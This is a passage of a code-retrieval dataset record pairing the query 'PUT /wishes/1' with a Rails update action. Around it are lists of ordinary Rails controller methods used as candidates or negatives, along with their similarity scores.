@post_like.save\n format.html { redirect_to @post_like, notice: 'Post like was successfully created.' }\n format.json { render :show, status: :created, location: @post_like }\n else\n format.html { render :new }\n format.json { render json: @post_like.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n render json: { wishes: generate_image_url([@wish]) }\n end", "def create\n @wish_list = current_user.wish_list\n product = Product.find(params[:product_id])\n @wish_list_item = @wish_list.add_product(product.id, @wish_list)\n\n if @wish_list_item.present?\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list,\n :notice => 'Wish list item was successfully created.') }\n format.json { render :show, status: :created, location: @wish_list_item }\n else\n format.html { render :new }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to wish_list_path(@wish_list)\n end\n end", "def create_favorite(id)\n post \"favorites/create/#{id}\", {}\n end", "def create\n @dish = Dish.new(dish_params)\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @dish, notice: 'Блюдо создано.' }\n format.json { render :show, status: :created, location: @dish }\n else\n format.html { render :new }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inchicken_dish = InchickenDish.new(inchicken_dish_params)\n\n respond_to do |format|\n if @inchicken_dish.save\n format.html { redirect_to @inchicken_dish, notice: 'Inchicken dish was successfully created.' }\n format.json { render :show, status: :created, location: @inchicken_dish }\n else\n format.html { render :new }\n format.json { render json: @inchicken_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favorite = Favorite.new(favorite_params)\n if @favorite.save\n render json: FavoriteSerializer.new(@favorite), status: :created\n else\n render json: @favorite.errors.full_messages.to_sentence, status: :unprocessable_entity\n end\n end", "def create\n @dish = Dish.new(dish_params)\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @dish, notice: 'Dish was successfully created.' }\n format.json { render :show, status: :created, location: @dish }\n else\n format.html { render :new }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @like = Like.new(like_params)\n\n respond_to do |format|\n if @like.save\n format.html { redirect_to @like, notice: 'Like was successfully created.' }\n format.json { render :show, status: :created, location: @like }\n else\n format.html { render :new }\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_dish = Admin::Dish.new(admin_dish_params)\n\n respond_to do |format|\n if @admin_dish.save\n format.html { redirect_to @admin_dish, notice: 'Dish was successfully created.' }\n format.json { render :show, status: :created, location: @admin_dish }\n else\n format.html { render :new }\n format.json { render json: @admin_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wanted = Wanted.new(params[:wanted])\n\n respond_to do |format|\n if @wanted.save\n format.html { redirect_to @wanted, notice: 'Wanted was successfully created.' }\n format.json { render json: @wanted, status: :created, location: @wanted }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wanted.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wing = Wing.new(wing_params)\n authorize! :create, @wing\n\n respond_to do |format|\n if @wing.save\n format.html { redirect_to @wing, notice: t('.create_ok', item: @wing.name) }\n format.json { render action: 'show', status: :created, location: @wing }\n else\n format.html { render action: 'new' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bowl = Bowl.new(params[:bowl])\n \n # set the current user's id and the creation time for this bowl\n @bowl.user_id = session[:user].userid.to_i\n @bowl.created = Time.now\n \n respond_to do |format|\n if @bowl.save\n\n Rails.logger.info \"Adding contents for bowl\"\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n \n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully created.' }\n format.json { render :json => @bowl, :status => :created, :location => @bowl }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @auction_favorite = Auction::Favorite.new(auction_favorite_params)\n\n respond_to do |format|\n if @auction_favorite.save\n format.html { redirect_to @auction_favorite, notice: 'Favorite was successfully created.' }\n format.json { render :show, status: :created, location: @auction_favorite }\n else\n format.html { render :new }\n format.json { render json: @auction_favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favourite = Favourite.new(favourite_params)\n\n respond_to do |format|\n if @favourite.save\n sync_update @favourite.fav_post\n format.html { redirect_to :my_favourites, notice: 'Favourite was successfully created.' }\n format.json { render json: @favourite }\n else\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favorite = current_user.favoritables.build(favorite_params)\n\n if @favorite.save\n render json: @favorite, status: :created\n else\n render json: @favorite.errors, status: :unprocessable_entity\n end\n end", "def create\n @bow = Bow.new(bow_params)\n\n respond_to do |format|\n if @bow.save\n format.html { redirect_to @bow, notice: 'Bow was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bow }\n else\n format.html { render action: 'new' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hearted = Hearted.new(hearted_params)\n\n respond_to do |format|\n if @hearted.save\n format.html { redirect_to @hearted, notice: 'Hearted was successfully created.' }\n format.json { render action: 'show', status: :created, location: @hearted }\n else\n format.html { render action: 'new' }\n format.json { render json: @hearted.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wig = Wig.new(params[:wig])\n\n respond_to do |format|\n if @wig.save\n format.html { redirect_to @wig, notice: 'Wig was successfully created.' }\n format.json { render json: @wig, status: :created, location: @wig }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wig.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wear = Wear.new(Wear_params)\n \n \n if @wear.save\n render json: @wear\n else\n render json: @wear.errors\n end\n end", "def create\n @restaurant_dish = Restaurant::Dish.new(params[:restaurant_dish])\n\n respond_to do |format|\n if @restaurant_dish.save\n format.html { redirect_to @restaurant_dish, notice: 'Dish was successfully created.' }\n format.json { render json: @restaurant_dish, status: :created, location: @restaurant_dish }\n else\n format.html { render action: \"new\" }\n format.json { render json: @restaurant_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render :show, status: :created, location: @pizza }\n else\n format.html { render :new }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n params[:pizza][:topping_ids].each do |topping|\n @pizza.relationships.create(topping_id: topping)\n end\n Image.create(picture: params[:pizza][:picture])\n @pizza.image_relationships.create(image_id: Image.last.id)\n end", "def create\n @shoutout = Shoutout.new(create_params)\n if @shoutout.save\n render json: @shoutout, status: 201, location: api_v1_shoutout_path(@shoutout.id)\n else\n render json: { error: \"Application error\", status: 400 }, status: 400\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render :show, status: :created, location: @pizza }\n else\n format.html { render :new }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: \"Fish was successfully created.\" }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favorite_web_thing = FavoriteWebThing.new(favorite_web_thing_params)\n\n respond_to do |format|\n if @favorite_web_thing.save\n format.html { redirect_to @favorite_web_thing, notice: 'Favorite web thing was successfully created.' }\n format.json { render action: 'show', status: :created, location: @favorite_web_thing }\n else\n format.html { render action: 'new' }\n format.json { render json: @favorite_web_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wish_list = WishList.new(params[:wish_list])\n\n respond_to do |format|\n if @wish_list.save\n flash[:notice] = 'WishList was successfully created.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { render :xml => @wish_list, :status => :created, :location => @wish_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @wiggle = Wiggle.new(wiggle_params)\n\n respond_to do |format|\n if @wiggle.save\n format.html { redirect_to @wiggle, notice: 'Wiggle was successfully created.' }\n format.json { render :show, status: :created, location: @wiggle }\n else\n format.html { render :new }\n format.json { render json: @wiggle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n like = Like.new(like_params)\n like.user_id = @authenticated_user.id\n createdLike = Like.create_or_restore(like)\n if createdLike.post.user.id != createdLike.user.id\n notification = Notification.new(\n for_user_id: createdLike.post.user.id,\n by_user_id: createdLike.user.id,\n post_id: createdLike.post.id,\n notification_type: Notification::NOTIFICATION_TYPE[:like_post],\n notification_text: createdLike.user.first_name + \" \" + createdLike.user.last_name + \" liked your post\"\n )\n notification.save\n end\n render json: Like.render_json_user(like)\n end", "def create\n Like.create like_params\n redirect_to \"/secrets\"\n end", "def create\n @user_post_like = UserPostLike.new(user_post_like_params)\n\n respond_to do |format|\n if @user_post_like.save\n format.html { redirect_to @user_post_like, notice: 'User post like was successfully created.' }\n format.json { render :show, status: :created, location: @user_post_like }\n else\n format.html { render :new }\n format.json { render json: @user_post_like.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dish = @cafeteria.dishes.new(dish_params)\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @cafeteria, notice: 'El plato se ha creado.' }\n format.json { render :show, status: :created, location: @dish }\n else\n format.html { redirect_to @cafeteria, alert: 'No se pudo crear el plato.' }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: 'Fish was successfully created.' }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fish = Fish.new(fish_params)\n\n respond_to do |format|\n if @fish.save\n format.html { redirect_to @fish, notice: 'Fish was successfully created.' }\n format.json { render :show, status: :created, location: @fish }\n else\n format.html { render :new }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end", "def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item\n else\n render json: { error: t('story_create_error') }, status: :unprocessable_entity\n end\n end", "def create\n @favorite = Favorite.new(params[:favorite])\n\n respond_to do |format|\n if @favorite.save\n format.html { redirect_to @favorite, notice: 'Favorite was successfully created.' }\n format.json { render json: @favorite, status: :created, location: @favorite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @punish = Punish.new(punish_params)\n\n respond_to do |format|\n if @punish.save\n format.html { redirect_to @punish, notice: 'Punish was successfully created.' }\n format.json { render :show, status: :created, location: @punish }\n else\n format.html { render :new }\n format.json { render json: @punish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @like = Like.new(like_params)\n @like.liker_id = current_user.id\n @like.dog_id = params[:dog_id]\n\n respond_to do |format|\n if @like.save\n @dog = Dog.find(params[:dog_id])\n\n format.html { redirect_to @dog } \n format.json { render :show, status: :created, location: @dog }\n\n else\n format.json { render json: @like.errors.full_messages, status: 422 }\n end\n end\n\n end", "def create\n @side_dish = SideDish.new(params[:side_dish])\n\n respond_to do |format|\n if @side_dish.save\n format.html { redirect_to @side_dish, notice: 'Side dish was successfully created.' }\n format.json { render json: @side_dish, status: :created, location: @side_dish }\n else\n format.html { render action: \"new\" }\n format.json { render json: @side_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inlamb_dish = InlambDish.new(inlamb_dish_params)\n\n respond_to do |format|\n if @inlamb_dish.save\n format.html { redirect_to @inlamb_dish, notice: 'Inlamb dish was successfully created.' }\n format.json { render :show, status: :created, location: @inlamb_dish }\n else\n format.html { render :new }\n format.json { render json: @inlamb_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n\t\t\n\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render :show, status: :created, location: @pizza }\n else\n format.html { render :new }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n end", "def wish_params\n params.require(:wish).permit(:name, :description, :wishlist_id, :price, :link)\n end", "def create\n @meal_dish = MealDish.new(meal_dish_params)\n\n respond_to do |format|\n if @meal_dish.save\n format.html { redirect_to @meal_dish, notice: 'Meal dish was successfully created.' }\n format.json { render :show, status: :created, location: @meal_dish }\n else\n format.html { render :new }\n format.json { render json: @meal_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @liked_item = LikedItem.new(params[:liked_item])\n\n respond_to do |format|\n if @liked_item.save\n format.html { redirect_to @liked_item, notice: 'Liked item was successfully created.' }\n format.json { render json: @liked_item, status: :created, location: @liked_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @liked_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @shout = Shout.new(params[:shout])\n\n sendPush (@shout.name + ' just shouted ' + @shout.shout_message)\n \n respond_to do |format|\n if @shout.save\n format.html { redirect_to(@shout, :notice => 'Shout was successfully created.') }\n format.xml { render :xml => @shout, :status => :created, :location => @shout }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @order = Order.new(params[:order])\n @order.order_status = Constant::ORDER_OPEN\n\n respond_to do |format|\n if @order.save\n @order.order_dishes.create(:dish_id => params[:order_dish][:dish_id])\n\n format.html { redirect_to \"/orders/#{@order.id}\", notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @parish = Parish.new(parish_params)\n\n if @parish.save\n render json: @parish, status: :created, location: @parish\n else\n render json: @parish.errors, status: :unprocessable_entity\n end\n end", "def create\n @shout = Shout.new(params[:shout])\n\n respond_to do |format|\n if @shout.save\n format.html { redirect_to @shout, notice: 'Shout was successfully created.' }\n format.json { render json: @shout, status: :created, location: @shout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shout.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end", "def create\n @heart = Heart.new(heart_params)\n\n respond_to do |format|\n if @heart.save\n format.html { redirect_to @heart, notice: 'Heart was successfully created.' }\n format.json { render :show, status: :created, location: @heart }\n else\n format.html { render :new }\n format.json { render json: @heart.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wish = Wish.new(wish_params)\n if Wishlist.find(@wish.wishlist_id).user_id == current_user.id\n @wish.save \n end\n redirect_to wishlist_path(@wish.wishlist_id)\n end", "def create\n @sound_bite = SoundBite.new(sound_bite_params)\n\n respond_to do |format|\n if @sound_bite.save\n format.html { redirect_to @sound_bite, notice: 'Sound bite was successfully created.' }\n format.json { render :show, status: :created, location: @sound_bite }\n else\n format.html { render :new }\n format.json { render json: @sound_bite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favorite_flyer = FavoriteFlyer.new(params[:favorite_flyer])\n\n respond_to do |format|\n if @favorite_flyer.save\n format.html { redirect_to @favorite_flyer, notice: 'Favorite flyer was successfully created.' }\n format.json { render json: @favorite_flyer, status: :created, location: @favorite_flyer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @favorite_flyer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @like = Like.new(like_params)\n @like.user = current_user\n\n respond_to do |format|\n if @like.save\n format.html{ redirect_to @like.likable }\n format.json{ render :show, status: :created, location: @like }\n else\n format.html{ redirect_to @like.likable, notice: @like.errors.messages.values.flatten.join(', ') }\n format.json{ render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Obviously this is the perfect way to create a wreck\n @wreck = Wreck.create!(wreck_params)\n\n respond_to do |format|\n format.html { redirect_to @wreck, notice: 'Wreck was successfully created.' }\n format.json { render :show, status: :created, location: @wreck }\n end\n end", "def create\n params['user_id'] = current_user.id if current_user\n @mood = Mood.new(mood_params)\n\n if @mood.save\n render json: { location: format_mood(@mood) }, status: :created\n else\n render json: @mood.errors, status: :unprocessable_entity\n end\n end", "def create\n @wishlist = Wishlist.new(params[:wishlist])\n\n\tif @wishlist.save\n \t\tparams[:product_id].each do |product|\n \t\t\[email protected] << Product.find(product)\n \t\n \tend\n \tredirect_to :action => \"show\", :id => @wishlist#.client.id\n else\n \trender action: \"new\"\n end\n \n end", "def create\n @promotion = Promotion.new(promotion_params)\n\n if @promotion.save\n render json: @promotion, status: :created, location: @promotion\n else\n render json: @promotion.errors, status: :unprocessable_entity\n end\n end", "def create\n\n @recipe = current_user.recipes.new(params[:recipe])\n @user = current_user\n @dish = Dish.find(@recipe.dish_id)\n @winner = Recipe.where(\"dish_id = ? AND king = ?\", @recipe.dish_id, true).first\n\n respond_to do |format|\n if @recipe.save\n RecipeMailer.create_recipe(@user, @recipe, @winner, @dish).deliver\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render json: @recipe, status: :created, location: @recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @favorite_recipe = FavoriteRecipe.new(favorite_recipe_params)\n\n respond_to do |format|\n if @favorite_recipe.save\n format.html { redirect_to @favorite_recipe, notice: 'Favorite recipe was successfully created.' }\n format.json { render :show, status: :created, location: @favorite_recipe }\n else\n format.html { render :new }\n format.json { render json: @favorite_recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n list_item = @list.list_items.build(dish_id: params[:dish_id])\n if list_item.save\n increase_dish_popularity(list_item.dish)\n redirect_to user_dishes_path(current_user), alert: \"Dish successfully added to your list\"\n else\n redirect_to user_dishes_path(current_user), alert: \"Unable to add dish to list\"\n end\n end", "def create\n @saying = Saying.new(params[:saying])\n\n respond_to do |format|\n if @saying.save\n format.html { redirect_to @saying}\n format.json { render json: @saying, status: :created, location: @saying }\n else\n format.html { render action: \"new\" }\n format.json { render json: @saying.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @goal = @todo.goals.create(goal_params)\n render json: @goal\n end" ]
[ "0.6912995", "0.6840946", "0.6729906", "0.6561722", "0.6483702", "0.63777417", "0.63369393", "0.62611157", "0.6222567", "0.6171183", "0.61618245", "0.6150779", "0.6122475", "0.6095343", "0.60716784", "0.6065541", "0.6029707", "0.59819096", "0.5970839", "0.5970839", "0.5953641", "0.5947016", "0.59468323", "0.5944307", "0.5938962", "0.5930889", "0.5917928", "0.5913706", "0.5881857", "0.58621514", "0.58395594", "0.583898", "0.583898", "0.58350164", "0.58088154", "0.5799829", "0.579973", "0.57974076", "0.57960916", "0.5795668", "0.57945824", "0.57881904", "0.57678115", "0.5766114", "0.5762752", "0.5752003", "0.57485664", "0.5728592", "0.5725723", "0.5705149", "0.56977874", "0.56559974", "0.5649286", "0.5643232", "0.5634507", "0.562866", "0.5624044", "0.56139374", "0.5607796", "0.56071657", "0.5601453", "0.55989367", "0.55988806", "0.5597057", "0.5586995", "0.55869275", "0.5586684", "0.5579091", "0.55720216", "0.55720216", "0.55667377", "0.5561026", "0.5557819", "0.5555167", "0.5552681", "0.55521834", "0.5549697", "0.5546094", "0.55402523", "0.5536828", "0.55325323", "0.55248207", "0.5517836", "0.55141807", "0.5511304", "0.5510588", "0.5507616", "0.5503069", "0.55017436", "0.5499253", "0.549861", "0.54982895", "0.54979455", "0.5485867", "0.54858065", "0.54845065", "0.5484366", "0.5483513", "0.5483394", "0.5481842" ]
0.7107845
0
PUT /wishes/1 PUT /wishes/1.json
def update @wish = Wish.find(params[:id]) respond_to do |format| if @wish.update_attributes(params[:wish]) format.html { redirect_to @wish, notice: 'Wish was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @wish.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @wish.update(wish_params)\n format.html { redirect_to @wish, notice: 'Wish was successfully updated.' }\n format.json { render :show, status: :ok, location: @wish }\n else\n format.html { render :edit }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wish.update(wish_params)\n format.html { redirect_to @wish, notice: 'Wish was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # wish can be updated only when then wish belongs to current user\n if @wish.user_id == current_user.id\n\n if @wish.update(wish_params)\n if keywords_params[:keyword1]\n @wish.wish_keywords.delete_all\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n @wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n end\n render json: {}, status: :no_content\n else\n render json: { errors: @wish.errors.full_messages }, status: :unprocessable_entity\n end\n end\n end", "def update\n render json: Like.update(params[\"id\"], params[\"like\"])\n end", "def update\n @wish.update(wish_params)\n redirect_to wishlist_path(@wish.wishlist_id)\n end", "def update_likes\n @wish.update(like_params)\n end", "def set_wish\n @wish = Wish.find(params[:id])\n end", "def set_wish\n @wish = Wish.find(params[:id])\n end", "def set_wish\n @wish = Wish.find(params[:id])\n end", "def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @wishlistitem = Wishlistitem.find(params[:id])\n\n respond_to do |format|\n if @wishlistitem.update_attributes(params[:wishlistitem])\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update_attributes(params[:wishlist])\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", error: @wishlist.errors }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update_attributes(params[:wishlist])\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wish_list_item.update(wish_list_item_params)\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { render :show, status: :ok, location: @wish_list_item }\n else\n format.html { render :edit }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { render :index, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @like.update(like_params)\n format.json { render json: @like, status: :ok }\n else\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @wishlist = current_user.wishlists.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args, &block)\n self.client.put *args\n end", "def create\n @wish = Wish.create(wish_params)\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render :show, status: :created, location: @wish }\n else\n format.html { render :new }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @wiggle.update(wiggle_params)\n format.html { redirect_to @wiggle, notice: 'Wiggle was successfully updated.' }\n format.json { render :show, status: :ok, location: @wiggle }\n else\n format.html { render :edit }\n format.json { render json: @wiggle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params.has_key? :like\n @client.put(\"/me/favorites/#{params[:id]}\")\n head :ok and return\n end\n\n if params.has_key? :unlike\n @client.delete(\"/me/favorites/#{params[:id]}\")\n head :ok and return\n end\n\n if params.has_key? :repost\n @client.put(\"/me/track_reposts/#{params[:id]}\")\n head :ok and return\n end\n\n if params.has_key? :unpost\n @client.delete(\"/me/track_reposts/#{params[:id]}\")\n head :ok and return\n end\n\n head :bad_request\n end", "def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end", "def put(*args)\n request(:put, *args)\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def create\n wish = current_user.wishes.new(wish_params)\n if wish.save\n # for each of the keywords param, find the keyword in the keyword database,\n # if not found, create a new keyword and build a new relationship with the wish.\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n\n if wish_params[:image]\n render json: { wish: wish, image: url_for(wish.image) }, status: :created\n else\n render json: { wish: wish, image: '' }, status: :created\n end\n else\n render json: { errors: wish.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def update\n @song_like = SongLike.find(params[:id])\n\n respond_to do |format|\n if @song_like.update_attributes(params[:song_like])\n format.html { redirect_to @song_like, notice: 'Song like was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @song_like.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end", "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end", "def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end", "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "def create\n # user_id: current_user[:id], item_description: params[:item_description], item_link: params[:item_link], item_rank: params[:item_rank], item_image: params[:item_image], item_price: params[:item_price]\n \t@wish = Wish.new(wish_params)\n @wish.user = current_user\n \[email protected]\n\n wishList = Wish.where(\"user_id = #{@wish.user_id}\")\n render json: wishList\n\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def put!\n request! :put\n end", "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n \n @wish = current_user.wishes.build(params[:wish])\n if @wish.save\n flash[:success] = \"Wish created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end", "def update\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n if @wishlist_item.update_attributes(params[:wishlist_item])\n format.html { redirect_to(@wishlist_item, :notice => 'Wishlist item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def wish_params\n params.require(:wish).permit(:content, :name)\n end", "def update\n @wig = 